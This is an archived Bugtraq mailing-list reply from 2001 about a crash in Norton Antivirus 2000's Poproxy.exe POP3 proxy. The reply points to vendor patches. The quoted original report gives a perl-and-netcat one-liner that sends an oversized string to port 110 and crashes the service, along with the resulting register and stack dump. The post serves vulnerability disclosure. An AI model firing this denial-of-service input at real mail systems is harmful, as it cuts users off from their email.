Bugtraq mailing list archives
Re: Nortan Antivirus 2000 Poproxy.exe problem
From: Eric Chien <ecchien () yahoo com>
Date: Thu, 24 May 2001 23:04:36 +0200
Hello, Verify you have the latest product patches. http://service1.symantec.com/SUPPORT/nav.nsf/pfdocs/2000011400475506 Hope that helps, ...Eric At 07:59 PM 5/24/2001 +0800, bugtraq () blue-ferret com au wrote:
Poproxy.exe is the email virus scanner included in Nortan Antivirus 2000 (maybeother versions too). It listens on port 110 and acts as a mail server, retreiving your mail then scanning it, and passing it along to the mail client (i think). While messing around with this i crashed the server by sending it too many characters (269 or more). Once the program crashes the user is unable to receive email until the next reboot (or poproxy.exe is run again) Example: perl -e '{print "A"x269}' |nc 10.0.2.1 110 where 10.0.2.1 is the windows machine running poproxy.exe The output i got was: POPROXY caused an invalid page fault in module MFC42.DLL at 014f:5f490453. Registers: EAX=00000000 CS=014f EIP=5f490453 EFLGS=00010246 EBX=00000000 SS=0157 ESP=02b1fc00 EBP=02b1fc14 ECX=007c0f28 DS=0157 ESI=00000000 FS=381f EDX=00000000 ES=0157 EDI=007c0ef8 GS=1247 Bytes at CS:EIP: 89 7e 04 e8 ac 49 f8 ff 53 56 ff 76 04 e8 a7 48 Stack dump:ffffffff 00000000 00000000 00a136b0 00000000 41414141 5f419f09 007c0ef8 00a11f20 007c0f60 00000001 5f419f09 00000009 0000010d 00000001 5f419e84Can anyone else confirm this?
Current thread:
- Nortan Antivirus 2000 Poproxy.exe problem bugtraq (May 24)
- RE: Nortan Antivirus 2000 Poproxy.exe problem Matthew Connor (May 24)
- RE: Nortan Antivirus 2000 Poproxy.exe problem Tom Laermans (May 28)
- Re: Nortan Antivirus 2000 Poproxy.exe problem Craig Bernstein (May 28)
- Re: Nortan Antivirus 2000 Poproxy.exe problem Eric Chien (May 28)
- <Possible follow-ups>
- RE: Nortan Antivirus 2000 Poproxy.exe problem Franklin DeMatto (May 28)
- Re: Nortan Antivirus 2000 Poproxy.exe problem gattaca (May 28)
- RE: Nortan Antivirus 2000 Poproxy.exe problem Matthew Connor (May 24)